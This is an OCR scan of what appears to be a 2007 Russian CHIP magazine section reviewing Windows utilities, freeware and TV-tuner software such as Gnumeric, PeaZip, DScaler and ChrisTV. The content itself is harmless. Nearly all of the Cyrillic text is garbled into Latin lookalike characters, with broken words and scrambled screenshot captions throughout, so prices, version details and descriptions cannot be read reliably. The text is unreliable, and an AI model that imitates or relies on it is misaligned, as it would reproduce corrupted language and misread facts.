Te/iocb 6bi meib cjDyHKpMKD Ha/io>KeHMn 6m- 
rpacfDMM Apyr Ha Apyra. BnponeM, Telling Stories 
OTHioAb He n/ioxa m BbiAe/meTCfl cpeAM cepon 
Maccbi BceB03M0>KHbix KaiajiorM3aiopoB. 
0co6yio >Ke peHHOCTb nporpaMMe npMAaeT to, 
HTO «MyjlbTMMeAMMHyiO 6MOrpac|3MK)» MO)KHO 
coxpaHUTb b BMAe Mcno^HneMoro c|)aM/ia m npo- 
CMaTpMBaTb Ha jiio6om KOMnbioTepe. 



TELLING STORIES 2.0.2 

O 

PA3PAE0THI/IK 

Telling Stories Inc. 

CAMT 

http://tellingstories.com 

YCJlOBI/ffl PACIIPOCTPAHEHI/IR 

trialware ($50) 

OC 

Windows 2000/XP 










AHTMBlipyCHbl ! I1(MT 



3 tot npoayKT xoporno H 3 BecTeH nojib- 
30 BaTejiiiM nepcoHajiBHBix ManiHH 6 jia- 
roaapn 6 ecnjiaTHO pacnpocTpaHneMO- 
MypejiH 3 yAviraAntiVirPersonalEdition 
Classic. npH 3 tom, HecMOTpH Ha ype- 
3 aHHyio (J)yHKii;HOHajiBHOCTB, PE Classic 


noKa3BiBaeT conocTaBHMBie c KOMMep- 
HeCKHMH npO^yKTaMH KOHKypeHTOB 
pe3yjiBTaTBi no coothoihchhio cko- 
pocTb/KanecTBO obHapyxeHHH. B aicra- 
Be aHTHBnpyca HMeeTcn CBtime 500 000 
cnmaTyp BHpycoB h hhbix BpeaoHOC- 
hbix nporpaMM h 3BpHCTHuecKoe pac- 
no3HaBaHHe BpeaoHOCHbix nporpaMM. 
K coxajierono, c MapTa 3Toro roaa 6ec- 
njiamaH Bepcna nporpaMMbi Gojibine 
He cymecTByeT. CneanajibHO juin unTa- 
Tejien CHIP pa3pa6oTHHKH npeaocTa- 
bhjih kjiioh, yBejiHHHBaiomHH npo- 
6 hbih cpoK nojiB30BaHHii KOMMepnec- 
koh nporpaMMoii ao 60 aneS (oTcneT 
BeaeTcn c 24 MapTa). 



ynpaBiMiomifM aim TejiecfeoHa 



nporpaMMa jsjm CHHxpOHH 3 aiiHH moGhjib- 
hbix Tejie(})OHOB c KOMnBiOTepOM, maBHan 
ocoGeHHOCTB KOTOpon — yHHBepcajib- 
hoctb. B MobTime Cell Phone Manager 
noaaepacHBaeTcn orpOMHoe KOJinnecTBO 
MOAejieii Tejie(J)OHOB pa 3 JiHUHbix npon 3 - 
BOAHTejien: Sony Ericsson, LG, Mitsubishi, 
Motorola, Nokia, Panasonic, Philips, 
Samsung, Siemens, npn 3 anycKe nporpaM- 
Ma caMa onpeaejineT ran coean Henna h 
onTHMajiBHBie HacTpoiiKH. MHTep(J)eHC 
MobTime Cell Phone Manager HanoMH- 
HaeT Outlook Express: Te xe namcH 
«BxoA 5 unne», «OTnpaBjieHHBie», «Kop- 
3 HHa» H T. a. ToJIBKO OTHOCHTCH 3 TH IiyH- 
KTBI MeHK) K SMS, 3 anHCHOH KHJDKKe, 


KapTHHKaM h jioroTHnaM MoGnjibHoro 
Tejie(J)OHa. C ee noMomtio moxcho oGMe- 
HHBaTBca KOHTaKTaMH Mexay PIM 
Outlook Express h TejiecjDOHOM, pacctuiaTB 
SMS, 3 arpy>xaTb b TejiecjDOH KapTHHKH 
H MeJIOaHH. BCTpOeHHblH 4>aHJIOBbIH 
MeHea^ep no3BOJineT ynpaBjiHTb namta- 
mh h (JianjiaMH b naMHTH moGhjibhoto 
TejiecjDOHa. noaaepacHBaeTca cbh 3 b uepe3 
USB- h RS232-Ka6ejin, HHcbpaKpacHBiH 
nopT h Bluetooth. 



s±\ 


HhU UUH IbHUI U 

(popMaia 


[lr SrbMctoikDYD 



0t/i m h Ha5i nporpaMMa nnn KOHBepTapMM 
BMfleo DVD m b c|)opMaTbi Kn K — 
WMV m XviD. llepBbm npoMrpbiBaeTC5i Ha 
Bcex Ha/iaAOHHMKax Ha 6a3e Windows 
Mobile, BTopoii Tpe6yeT a/ 151 BOcnpoM3- 
BeAeHM5i ycTaHOBKM nponrpbiBaie/151, Ha- 
npMMep BetaPlayer, m peK0MeHAyeTC5i 
A/i5i npocMOTpa Ha ycTpoMCTBax c VGA- 
3KpaHOM. B pe/inx bkohommm Mecia Ha 
Kapie n a m htm, Bbi M0>KeTe Bbi6paib pa3- 
peiueHMe BMAeo ot 220x176 ao 
640x480. Ec/im KI1K Ma/iOMOLAHbiM, to 
A/151 C|30pMaTa WMV eCTb B03M0)KH0CTb 
orpaHMHmb nacTOTy KaApoB ao 20 FPS. 
npn KOHBepTMpOBaHMM DVD MO)KHO Bbl- 
6paib a/ 151 KOAnpoBaHHfl OTAe/ibHbm 
cjDpameHT m/im r/iaBy. CaKOHOMMTb He- 
Ma/io BpeMeHH noMO>KeT cjoy h kiamh 
« ripeAnpocMOTp b pea/ibHOM BpeMeH m». 
Ec/im bk/i ioh MTb ee, to eiue ao KOAMpoBa- 

H MO)KHO 6yAeT yBMAOTb BMAeo T3KMM, 
kbkmm oho 6yAeT Ha 3KpaHe KI1K. Ec/im 
K apTMHKa Bac He ycTpoMT, npocTO Bbi6e- 
pMTe Apyrne napaMeTpbi. HanpMMep, 
MO)KHO M3MeH MTb OAMH M3 TOTOBblX npO- 
c|3M/ieM, askdlamm 6o/iee BbicoKoe KanecT- 
bo. nporpaMMa noAAop>KMBaeT cMCTeMbi 
c npoAeccopaMM Dual Core m, no Haiue- 
My MHeHMfo, ocyiAecTB/i5ieT npopecc 
KOAMpoBaHM5i ropa3AO 6bicTpee, HeM 
KOH KypeHTbl . 

SPB MOBILE DVD 1.1.0 O 


PA3PAE0THI/IK Spb Software House 

CAMT www.spbsoftwarehouse.com 

YCJIOBI/Ifl PACriPOCTPAHEHI/m trialware ($25) 

0C Windows 98/2000/XP 
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SEE CHIP DOWNLOAD/DVD Freeware Deluxe 


Download/DVD 


FireFTP 

npeBpamaeM Firefox O 

b nojiHOueHHbm FTP-K/n/ieHT 

Gnumeric 

npeKpacHaa a/iwepHaTi/ma Microsoft Excel O 

SuperCopier 

MeHeAwep 3aKaneK ajih zioKa/ibHbix ceiew O 

KlipFolio 

0TO6pa>KeHMe Ba>KH0M l/IHCjDOpMaAMM O 

Ha PaSoneivi cro/ie 

ColorPic 

RGB-koa n hd6om tohki/i axpaHa O 

Ditto 

yBeriMHMBaeM 6ycjDep o6ivieHa Windows O 

PeaZip 

PacnaxoBKa JiiodbixTHnoB apxMBOB O 

Schmap Player 

Fle3aMeHMMbm noMonHi/iK O 

b Typi/icn/iHecKOM noe3flKe 

Download O DVD 


Freeware 

deluxe 

EweMeCflHHO B CBeT BblXOAHT fleCflTKI/l HOBbIX yTMJlMT, pacnpo- 
CTpaHBIOmHXCB Ha HeKOMMepHeCKOM OCHOBe I/I JIM C OTKpblTbl- 
mm MexoflHbiMM KOflaMM. B 3tom py6pM«e Mbi paccKa>KeM 
o HaMdojiee MHTepecHbix 6ecn/iaTHbix nporpaivnviax. 



B OflHOM OKHe 


Dbg an at ^ - r n e * - ■: « n 

— ' - <■) E il! 0 0 Q rtl m k V ■ 

fa _l Jf # - 



GNUMERIC 1.7.6 


OC 

fl3blK 


Windows 2000/XP 
pyCCKMM 


© 

o 


Be3 Excel 


Fjmii VsdfcHf I; Li \F3iw VU» uLS chtrf J' L 
To: C'\Docun^s ^S«b^\P.ShB^\D«kt^WMut_Scl™il\ 

Fla 2/ft. T olal 681 .06 MB 


Schama - npo iifMtttAw ew.91 mb 


1 O24JO0K&/Sk [OFcMlo 1Q[| Pau» | Skip | [ Canal | 
OpSur# 


© Co& ld_ ^ e 

Copj'cnd 

Atlhe md ol tbBcdfy: 
Speed irit 

v LhA eopji speed to: 




| Don't cfoietf lh«e wm srafi 



OC 

A3blK 


SUPERCOPIER 2 


Windows 9x/NT/ME/2000/XP 
aHrnMMCKMM 


o 


KonnpoBaHne no cgtii 


XoTme pa6oTaTb c FTP-cepBepaMM np5iMO 
M3 6pay3epa, He 3anycKa5i flonojiHMTe/ib- 
Hbix nporpaMM? 

3tot n/iarMH MO>KeT npeBpaTMTb Firefox 
B nO/lHOUeHHbIM FTP-K/lMeHT, KOTOpbl M 
pa6oTaeT /lynwe, neM FTP-cepBMC IE 7. 
TaK, b FireFTP eerb cf)yHKUM5i cpaBHeH M5i 
m CMHxpoHM3ai4MM jioKajibHOM m yAa/ieH- 
hom flMpeKTopMM, noAflep>KKa SSL, B03- 
M0>KH0CTb nepexBaTbiBaTb ccbuiKM Ha 
FTP-cepBepbi m MeHeAwep aKKayHTOB. 
Hio6bi ccbmKM Ha FTP aBTOMaTMHecKM ot- 
KpbiBa/iMCb b FireFTP, Hy>KHO b HacrpoMKax 
n/iarMHa Ha BK/iaflKe «Interface» OTMeTMTb 
ra/iOHKOM nyHKT «Configure FTP Links in 
Firefox to automatically use Fire FTP». 

■ http://fireftp.mozdev.org 


Ecjim BaM Hy>KeH peflaKTop 3/ieKTpoHHbix 
Ta6/iMU, ho npu 3 tom BapuaHT ot Microsoft 
He ydpaMBaeT ueHOM, a 6ecn/iaTHbm Open 
Office — 6bicrpoAeMCTBneM, nonpo6yMTe 
Gnumeric. riporpaMMa M3Hana/ibH0 pa3pa- 
6aTbiBa/iacb pj\s\ cpeflbi GNOME b Linux, no- 
3TOMy no^b30Baie/iM, 3HaKOMbie c Linux, 
HaMflyT mhoto 3HaKOMbix fleia/ieM. 

Hto KacaeTCfl c|)yHKUM0Ha/ibH0CTM, Gnumeric 
yMeeT Ae/iaTb Bee, hto m Microsoft Excel: 
CTpoMTb rpacfiMKM, Ta6/ini4bi m AMarpaMMbi, 
npOM3BOAMTb MaTeMaTMHeCKMe BblHMC/ie- 
HM5i m t. n. KpoMe Toro, no c/iOBaM pa3pa- 
6 othmkob, b Gnumeric ecTb 60/iee cia 
((DyHKUMM, a/ibTepHaTMB KOTopbiM b npo- 
AyKTe ot Microsoft He cymecTByeT. 

■ www.gnome.org/projects/gnumeric 


riporpaMMa SuperCopier npeAHa3HaneHa 
A/i5i KonMpoBaHMn 6o/ibiuMx o6'beMOB AaH- 
Hbix b npeAe/iax /lOKa/ibHOM ceTM. OHa no/i- 
HocTbio 3aMeHneT cepBMc KonupoBaHun 
Windows m OT/iMHaeTcn ot Hero TaKMMM 
no/ie3HbiMM onuMnMM KaK OTo6pa>KeHMe 
BpeMeHM m cKopocTM nepeAaHM AaHHbix, 
B03M0>KH0CTb orpaHMHeHM5i CKopocTM ne- 
peAaHM. 3 to no/ie3Ho, ec/iM Bbi He xotmtc 
3a6MBaTb KaHa/i m neperpy>KaTb KOMnbio- 
Tep, c KOToporo BeAeTcn KonupoBaHMe. 
SuperCopier no3BO/meT co3AaBaTb cnMCKM 
CjaaM/lOB A/151 KOnMpOBaHM51 M aBTOMaTMHec- 
KM nepeMMeHOBbmaTb 3aKaHMBaeMbie cjoaM- 
/ibi. TaK>Ke nporpaMMa noAAep/KMBaeT ao- 
KaHKy noc/ie o6pbma coeflMHeHM5i. 

■ http://supercopier.sfxteam.org 
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- 'I* Mcitow Weather 


Currently -1* Partly sunny. ... I 
Wednerfir rt * — Jfl 

Thursdn 20 CHIP CD 
Friday 

Stfurrfi [Chijp DVD Z0Q6 N*?l] Photoshop Ele„, 
Sunday Dr.web < osverk 
Monday OwmGkm h * Chip DVO < Bug 

Tuesda [Ch' 1- 'S*'"* hMllnkntr.rl.nn Eln 

Dr it 9 To Do Ust 
OH 

Ou □ BwnoncHiTfct iJoTorpa#MH 
Dr Q SanonuHifc rouapapti 
Dr O CHpafla KTHpocaTb tfcoiarpadjHW 

□ noyeoHHtfc a&h*« 

□ npoaeptiTb Knnn$ortMc 


i 13 


KLIPFOLIO 3.1 


Windows 2000/XP 

aHmMMCKMM 


CBe>KMe HOBOCTM 

CBe>KMe hoboctm, nporH 03 bi noroflbi, 6 Mp- 
>KeBbie CBOAKM — Bee 3 TO B J 1 K) 6 oM MOMeHT 

AOCTaBMT KLipFoLio. ripocTO noAnMWMTecb 
Ha MHTepecyfoiAMe RSS-/ieHTbi — m npo- 
rpaMMa 6 yAeT noKa 3 biBaTb mx b CMMnaTMH- 
HblX OKOLUKaX Ha Pa 6 oHeM CTO/ie. riOMMMO 
3 Toro KLipFoLio MOweT npoBep 5 iTb BaiuM 
noHTOBbie 5 UAMKM, npoM 3 BOAMTb noMCK no 
cepBMcy nnx BbiK/iaAbiBaHM 5 i cf)OTorpac| 3 MM 
FLickr m t. n. ripaBAa, p,nn 3 Toro noipe 6 yei- 
C 53 CKanaTb cneuMa/ibHbie «K/iMnbi» (kLips) 
c caMTa pa 3 pa 6 oTHMKOB. 

■ www.klipfolio.com 


06paime 

BHMMaHMe 

9tm 6ecn/iaTHbie nporpaMMbi TaK>Ke 
MO>KHO HaMTM Ha HaweM AMCKe 

Belarc Advisor O 

flaHHaa nporpaivuvia He TO/ibKO oto6- 
pa 3 MT nOAP 06 HyfO MHCjOOpiViaAMK) 0 
coAepwmviOM CMCTeMHoro 6/iOKa m 
nporpaMMHbix KOivmoHeHTax onepa- 
UI/IOHHOM CMCTeMbl, HO M nOACKa>KeT, 
Kaxi/ie ofiHOB/ieHMfl 6e3onacHOCTM 
Hy>KH0 yCTaHOBI/ITb. 

AIMP O 

Cm m naTMH h bi n My/i bTM mcam n h bi m 
n/ieep ot poccmmckmx pa3pa6oTHM- 
KOB BnOJIHe MO>KeT COCTaBMTb KOH- 
KypeHAMK) KaK n MeH MTOMy Winamp, 
TaK m npoHMM nony/i5ipHbiM nponr- 
pbiBaieji^M. 

Small CD-Writer O 

Hio 6 bi 3 anMcaTb CD, BOBce He 06513 a- 
Te/ibHO ycTaHaB.nMBaTb rpoM 03 AKne 
naKeTbi BpoAe Nero, BK/nonaioiAne b 
ce 65 i mhoto /imwhmx cepBMCOB. fl /151 
3 Toro Bno/iHe AOCTaTOHHO m He 6 o/ib- 
luom yTM/iMTbi SmaLL CD-Writer. 



OC ► Windows 2000/XP © 

H3blK ► aHrnMMCKi/iM © 


Tpa66ep UBeia 

Ec/im BaM noTpe 6 oBa/iocb CAe/iaTb cJdoh 
FITML-CT paHMAbi tbkmm >Ke, KaK Ha kskom- 
ji m 6 o M 3 o 6 pa>KeHMM, He o 65 i 3 aie/ibHo ot- 
KpbmaTb c|DaM/i b rpacjDMHecKOM peAaKTope, 
HTo 6 bi y 3 HaTb ero RGB-koa AJifl BdaBKM b 
HTML. flodaTOHHO BOcno/ib 30 BaTbC 5 i npo- 
rpaMMOM CoLorPic. ripocTO noABeAMTe Kyp- 
cop k Hy>KHOMy ynacTKy M 3 o 6 pa>KeHM 5 i, Ha- 
>KMMTe «CtrL+G» — m AanHbie 0 ABeie 6 yAyT 
coxpaHeHbi b nporpaMMe. IIommmo 3 Toro 
npM noMOiAM CoLorPic mo>kho C 03 AaBaTb 
na/iMTpbi ABeTOB m peAaKTMpoBaTb mx. 

■ www.iconico.com/colorpic 


* MYTODQ 

5 Cop:Bsi Fi e - 2 DQ 7*(>4 wife - CSDocurnems and Settr 
9 Cop;ed F e - ATitca t Ctpane H/aec - C:\Doc u*»ri 


7 Q npocTo roaee-u'Te e/pcop h>okhom iy ,^s»CTxy 
popsj 

9 SbeMT/ME/ 2000 /XF 
9 j «Ctn * — 




OC 

► 

Windows 9x/NT/ME/2000/XP 

® 

OC 

► 

Windows 9x/NT/ME/2000/XP 


OC 

► 

Windows 2000/XP 

® 

H3blK 

► 

aHrnMMCKMM 

O 

H3blK 

► 

aHrnMMCKMM 

O 

H3blK 

► 

aHrnMMCKMii 

O 


PEAZIP 1.3 


SCHMAP PLAYER 2. 


YBe/iMHHTb 6yc|)ep 

Bee, hto Bbi KonMpyeie, Ditto coxpaH 5 ieT b 
CB oen 6 a 3 e AaHHbix m no 3 BO/i 5 ieT b jho 6 om 
MOM eHT BCTaBMTb B Hy>KHOe MeCTO. ripM Ha- 
>K 3 tmm KOM 6 MHauMM «Ctr+'» Ha 3 KpaHe n 051 - 
BMTC 51 CnMCOK BCeX CKOnMpOBaHHbIX BaMM 
3 /ieMeHTOB. fl /151 BCT 3 BKM TeKCTa Heo 6 xOAM- 
MO ABa>KAbl lAe^KHyTb MblWbK) no Hy>KHOM 
CTpOKe CnMCKa. ripM nOMOlAM KOHTeKCTHOrO 
MeHK), KOTopoe no 5 iB/i 5 ieTC 5 i npM ne^HKe 
npaBOM KHonKOM no Bbi 6 paHHOMy 3 /ieMeHTy 
cnncKa, mx mo>kho copTMpoBaTb no rpyn- 
naM, yAa/i 5 iTb m peAaKTMpoBaTb. 

■ http://ditto-cp.sourceforge.net 


PacnaKOBLMMK 

Bbi no/iyHM/iM 3 aapxMBMpoBaHHbiM (fan/i 
m He MO>KeTe ero pacnaKOBaTb? 
CnpaBMTbC 51 C 3 TOM npo 6 /ieMOM MO)KeT 
Peazip. riporpaMMa OTKpbiBaeT KaK nony- 
J 15 ipHbie C| 30 pMaTbl ZIP MJ 1 M RAR, TaK M 
peAKMe apxMBbi, HanpMMep BZip 2 . 

Ec^m >Ke Tpe 6 yeTC 5 i CKpbiTb apxMB ot 
nocTopoH h mx ma 3 , to PeaZip MO>KeT He 
TO/ibKO 3 aiAMTMTb ero napo^eM, ho m 
co 3 AaTb cnepMa/ibHbiM K^foneBOM cf)aM/i 
(keyfiLe), 6 e 3 KOToporo AaHHbie HeB 03 - 
mo>kho 6 yAeT M 3 B.neHb. 

■ http://peazip.sourceforge.net 


BupTya^bHbm rufl 

OTnpaB^ 5 i 5 icb Ha OTAbix, Bceue^o no/iara- 
eiUbC 51 Ha 3 KCKypCOBOAOB TypcjDMpMbl, KOTO- 
pbie He BcerAa Ao 6 pocoBecTHo Bbino^H 5 iK)T 
CBOM o 6513 aHHOCTM. HT 06 bl He nponyCTMTb 
HMHerO MHTepeCHOTO, B 03 bMMTe c co 6 om 
H oyT 6 yK c ycraHOB/ieHHOM Schmap. C caMTa 
nporpaMMbi mo>kho CKanaTb oko^o cothm 
BM pTya/ibHbix TypoB c noApo 6 HbiMM KapTa- 
MM KpynHeMLUMX ropOAOB MM pa, Ha KOTOpbIX 
OTMeneHbi He To^bKO AOCTonpMMenaTe^b- 
hoctm, ho m mx c|)OTorpac|)MM, aApeca m Te- 
/iec| 30 Hbi OTe/ieM m pecropaHOB. 

■ www.schmap.com 
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HBI? CHIP DOWNLOAD/DVD flporpaMMbi fl.rm TB-TK)HepoB 




CHIP 


AflPE/lb 2007 


Eme napy jieT Ha3afl Momi/i HaiiTi/icb CKemi/iKi/i, KOTopbie coMHe- 
Ba^MCb B TOM, HTO KOMnblOTep CMO>KeT nOJIHOCTbK) 3aMeHMTb 
TejieBM3op. CeroflHB flawe apbie KOHcepBaiopbi ctobt nepefl 
BbifiopoM: hto Jiynwe — KynMTb Te;ieBi/i3op 1/1 My3biKmHbm 
qeHTp i/ijii/i npno6pecTM TB-raHep m xopowyio axycTi/iKy /yia flK. 


n oxynxa TB-TiOHepa — ato tojibxo 
nojxaejia. Hto6li nojiyHHTb yao- 
BOJitCTBue ot npocMOTpa Tejiene- 
peAan h BBEacaTB Bee, Ha hto oh cnoco 6 eH, 
Heo 6 xoAHMO eme h npaBHjiBHO noAodpaTb 
nporpaMMHoe o 6 ecneneHHe. Be^t HMeH- 
HO OT no 3 aBHCHT MHOTHe BaJKHbie (J)yHK- 
ii;hh, TaKHe, xax 3 anHCB TejienporpaMM, 
peryjiHpOBKa xanecTBa H 3 o 6 pajxeHHH, 
B 03 M 03 CH 0 CTB ynpaBJieHHH C nOMOmtK) 
nyjibTa AHCTaHHHOHHoro ynpaBjieHHH h 
MHoroe Apyroe. 

Bbi6op no jijm onpeAejieHHoro TB- 
TiOHepa — 3aaana He H3 jierKHx. 3th npo- 
ipaMMBI OHCHb KanpH3HbI B HaCTpOHXe, 
k TOMy >Ke 6ojibinoe 3HaneHHe HMeeT koh- 
(J)Hrypau;HH KOMnbiOTepa h Moaenb caMoro 
TioHepa. Bojibihhhctbo Mo^ejieH TB- 
TioHepOB o6ii3aTejibHO hmctot b CTaHAapT- 
hom KOMnjieKTe nocTaBKH nporpaMMHoe 
odecneneHne ot pa3pa6oTHHxa. OAHaxo 
3TOT COCjjT M03CeT OXa3aTbCH HeCTa6HJIb- 
hbim b pa6oTe hjih npocTO Heyao6HbiM. 


DScaler 4.1.15 

Cpa3y nocjie 3anycKa atoh nporpaMMbi 
Ha 3KpaHe noHBjuieTCH okho, b kotopom 
npe^JiaraeTCH Bbi6paTb ran TB -TioHepa. 
Ecjih bbi He HarnjiH b nepenHe noAAe- 
pXHBaeMBIX yCTpOHCTB CBOK) MO^eJIb, 
MO^ceTe BOcnojib30BaTbCH (J)yHxn;HeH 
aBTOMaTHnecKoro aHajiH3a ycTponcTB. 
ABTOMamnecKoe onpeaejieHHe MoaceT h 
H e noMOHb, h Tor^a HyacHO 6yaeT yKa3aTb 
b HacTpoftKax DScaler «Unknown Card» 
h «No Tuner/Unknown». 

CaMaii dojibinan ijeHHOCTb atoh npo- 
rpaMMbi b tom, hto b ee apceHajie HMeeTCH 
60 JIbIH 0 H Ha 6 op (JjHJIbTpOB, MHOTHe H 3 
KOTOpbix no 3 BOJi 5 HOT 3 HaHHTejibH 0 yjiyn- 
HIHTb KaneCTBO KapTHHKH. BoJIbHIHHCTBO 
H 3 HHX yHHKaJIbHbi: Bbi He BCTpeTHTe 
HHnero noao 6 Horo b aHajiomHHbix npo- 
rpaMMax. Tax, ctoht otmcthtb cjjHjibTp 
«Logo Killer». npn ero BXjnoHeHHH mojkho 
CKpbiTb jioroTnn xaHajia, HajioxcHB Ha He- 
ro « 3 aroiaTKy», pa 3 MbiB H 3 o 6 pa 3 ceHne hjih 
BKJIIOHHB peXCHM ajianTHBHOrO MaCKHpO- 

BaHHH. Taxyio ommio yaodHO Hcnojib 30 - 
BaTb npn 3 anncH TejienporpaMMbi, xorjia 
jioroTnn OTBjiexaeT BHHMaHHe ot nponc- 
xoAHmero b xaApe. C noMOuibK) Apyrax 
(jjyHKHHH MOJKHO XOppeXTHpOBaTb HBeTO- 
nepe^any, ycTpaHHTb rnyMbi, noBbimaTb 
pe 3 KOCTb, 3 epxajibHO noBOpanHBaTb xap- 
THHicy h MHoroe Apyroe. 

nporpaMMa MOJxeT bbiboahtb Ha 3KpaH 
TejieTexcT h noAAcpxcHBaTb OAHOBpeMeH- 
Hyio pa6oTy c HecxojibXHMH TiOHepaMH. 
KpoMe 3 toto DScaler noAAepJKHBaeT 
pa6oTy c tophhhmh KjiaBHinaMH. HtoGbi 
npn npocMOTpe TejienepeAanH cjiynan- 
Hoe HajxaTHe xHonxn He c6hjio HacTpon- 
xy BHAeoH3o6pajKeHHH, KjiaBHaTypy 


MOJKHO 3 a 6 jIOKHpOBaTb — H npH ATOM 
ynpaBjieHHe TiOHepOM 6 yAeT AOCTynHO 
TOJIbKO C nOMOlUbK) MbllHH. 

FlyDS 2.0 beta 2 

MHOTHe H 3 Tex, KTO HCnOJIb 3 yiOT ajlb- 
TepHaTHBHblH COC[)T TIOHepa, OCTa- 
HaBJIHBaiOT CBOH Bbl 6 op HMeHHO Ha ATOH 
nporpaMMe. B OTjiHHHe ot Bbimenepe- 
HHCJieHHbix yTHjiHT FlyDS He HcnbiTbi- 
BaeT TepneHne nojib 30 BaTejui, 3 acTaBjiHH 
3 KCnepHMeHTHpOBaTb C pa 3 JIHHHbIMH 
HacTpOHKaMH. Kax npaBHjio, nporpaMMa 
6 e 30 iHH 6 oHHO HAe hth (J) h unpyeT HHnceT 
ycTponcTBa h aBTOMaTHHecxn onpeAejineT 
ero ocHOBHbie napaMeTpbi. Hcnojib 3 yH 
FlyDS, mo 3 cho He tojibxo CMOTpeTb Tejie- 
BH 3 op, ho h cjiymaTb paAHO (xoHenHO, 
npn ycjiOBHH, hto 3 Ta B 03 M 0 JKH 0 CTB pea- 
JIH 30 BaHa B CaMOM yCTpOHCTBe). 

OaHO H 3 CaMbIX TJiaBHblX AOCTOHHCTB 
FlyDS — OTjiHHHbiH ajiropHTM noAaBjie- 
hhh 3 (jD(jDexTa «pacHecxH». JXsin atoh u;ejiH 
nporpaMMa npHMeroieT opHTHHajibHbiH 
MeTOA, xoTopbiH Hcnojib 3 yeT ncxyccT- 
BeHHoe yBejiHneHHe nacTOTbi H 3 o 6 pajxe- 
hhh. BjiaroAapH 3TOMy Ha BHAeo Hcne 3 aiOT 
yrjiOBaTOCTH , a b AHHaMHHHbix cijeHax 
CMeHa xaApOB nponcxoAHT onenb iuiaBHO, 
6 e 3 HcxaxeHHH, Bbi 3 BaHHbix nepeAOBa- 
HneM nojien. H 3 o 6 pajxeHHe mojkho yBe- 

JIHHHBaTb HJIH yMeHbHiaTb, H3MeHHTb 
pa3pemeHHe MOHHTopa b nojiH03xpaH- 
hom pejxHMe h 3aAaBaTb xecTxoe cootho- 
rneHHe CTopoH xapTHHXH, HanpHMep 4 : 3 . 

/JOBOJIbHO HHTepeCHO peaJIH30BaH0 
nepexjHoneHHe xaHajiOB. npn CMeHe xap- 
thhxh oahoto TejiexaHajia ApyrHM mojkho 
yxa3aTb 3(J)(J)exT nepexoAa, xoTopbiH 6yAeT 
conpOBO^AaTb nepexjHoneHHe ctahahh 
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UHikM ncnojib3yn coficTBeHHbm aoropiiTM, Jiynwe Bcero cnpaBjineTCfl 
c ac()ct)6KT0M pacnecKii (HHTepJieMCHHrOM) 





BBepx h bhh3 no AHana30Hy. 3 to MOxeT 
6BITB nOHBJieHHe HOBOH KapTHHKH H3 
cepe^KHLi 3KpaHa, BBiTecHeroie cnpaBa 
HJIH CJieBa H T. R. 

HnrepecHO, mto npH nepeTacKHBaHHH 
OKHa, b kotopom OTo6pa>KaeTCH TejieKa- 
Haji, He yaaeTCH «3aaBHHyn>» H3o6paace- 
HHe 3a KpaH BH^tHMOH 06jiaCTH MOHHTOpa, 

mto oneHB yao6HO. 

ChrisTV Professional 4.99 

OaHa H3 HHTepeCHBIX B03M0JKH0CTeH 
aaHHOH nporpaMMLi — OToOpaxeHHe 
TeKymero BpeMeHH b BepxHeM yrjiy 3Kpa- 
Ha npH npocMOTpe b nojiH03KpaHHOM 
pexHMe. C oaHOH ctopohbi, (fcywKujw He 
caMaa Ba>KHaa, ho ecjin Hy>KHO cjieaHTB 
3a BpeMeHeM, 3to oneHB yao6HO h npax- 
thhho. CxaaceM, 6jiaroaapn 3thm nacaM b 
yrjiy 3KpaHa bbi HHKoraa He 3a6yaeTe o 
nepeaane, KOTOpan bot-bot aojixHa 
HanaTBCH no apyroMy KaHajiy. 

^pyraa yao6Haa bo3mojkhoctb — otkjho- 
neHHe 3Byxa bo BpeMM nepeKJiiOHeHHM 
KaHajiOB. Ha HeKOTOpBix Moaejinx TB- 
TiOHepOB npH nepeKJHoneHHH KaHajiOB Ha 
HeCKOJIBKO eexyHa B03HHKaeT pe3KHH 
HenpHHTHBiH HiyM. Pa6oTaa c ChrisTV 
Professional, bbi MoaceTe 6 bitb yBepeHBi b 
tom, mto He ycjiBiniHTe ero. 

HaBHraaHH no KaHajiaM — enje oaHa 
CHjiBHan CTOpOHa ChrisTV. Ka3ajiocB 6 bi, 
mto HOBoro MOvKHO npHayMaTB ana Taxon 
npocTon (JiyHKHHH? Bo-nepBBix, nepe- 
KjnonaTB xaHajiBi moxho c noMontBio 
yao6Horo cnncKa. Bo-btopbix, xaxaoMy 
xaHajiy moxho aaTB Ha3BaHHe h jioroTHn, 


KOTOpBIH CymeCTBeHHO ynpOCTHT BBlGop. 
B 6a3e aaHHBix nporpaMMBi coaepacHTcn 
MH03CeCTB0 TBKHX HKOHOK JIJIH pa3HBIX 
H3BecTHBix KaHajiOB . A aaa caMBix jieHH- 
bbix npeaycMOTpeHO aBTOMaTHnecKoe 
nepeKjHoneHHe Meacay nporpaMMaMH. 
yrajiHTa 6yaeT caMa uiejiKaTB no Kam- 
jiaM, h BaM ocTaHeTcn tojibko ocTaHO- 
bhtb ee, Koraa Ha 3KpaHe hombhtcm mto- 
Hn6yaB HHTepecHoe. 

B ChrisTV ecTB h bo3mojkhoctb npo- 
CMOTpa HeCKOJIBKHX KaHajiOB OaHOBpe- 
MeHHO. npH 3 tom mo>kho yxa3aTB HaCTOTy 
o6HOBJieHHH KapTHHKH, KOTOpafl BBIBO- 
aHTcn Ha 3KpaH, a Taioxe BBi6paTB, ckojib- 
ko KaHajiOB 6yaeT OToOpaxcaTBCM b TaGjiH- 
ite: 4 , 9 , 16 hjih 20 . 

Bo BpeMH npocMOTpa mojkho ncnojiB- 
30BaTB pa3HBie (J)HJIBTpBI jijih yjiyHineHHM 


H3o6pa3ceHHH. CaMBie jiynnine pe3yjiBTa- 
tbi aaeT «FFDShow». Taioice mojkho 
nonpo6oBaTB noaKnonaeMBiH MoayJiB 
Deinterlace Filter, kotopbih no3BOJuieT 
yaajiHTB 3(J)(t)eKT «pacnecKH». 

njiaHHpOBiaHK 3aaaHHH b nporpaMMe 
Taioxe npeaJiaraeT mhoto HHTepecHBix 
B03M0vKH0CTeH. HanpHMep, M03CH0 coxpa- 
HHTB HaCTpOHKH B BH#e npO(})HJieH JSJUl 
MHOTOKpaTHOTO HCn0JIB30BaHHH, BBinOJI- 
hhtb 3aaaHHH nepHoamiecKH, HanpHMep 
pa3 b Heaenio hjih b tom ho yxa3aHHoe 
BpeMM. KpOMe toto, ecTB yaoOHaa (J>yHK- 
aHH BBIKJIIOMeHHH 3anHCH Ha BpeMH pex- 
jiaMBi, npaBaa, nporpaMMa MO^ceT He 
onpeaejiHTB peKjiaMHyio nay3y h BBipe3aTB 
Hy*HBiH KycoK (JiHjiBMa, Tax mto jiynnie 
OTpeaaKTHpOBaTB BnocjieacTBHH 3anncaH- 
hbih (Jdhjibm hjih KOHijepT BpyMHyio. am? 


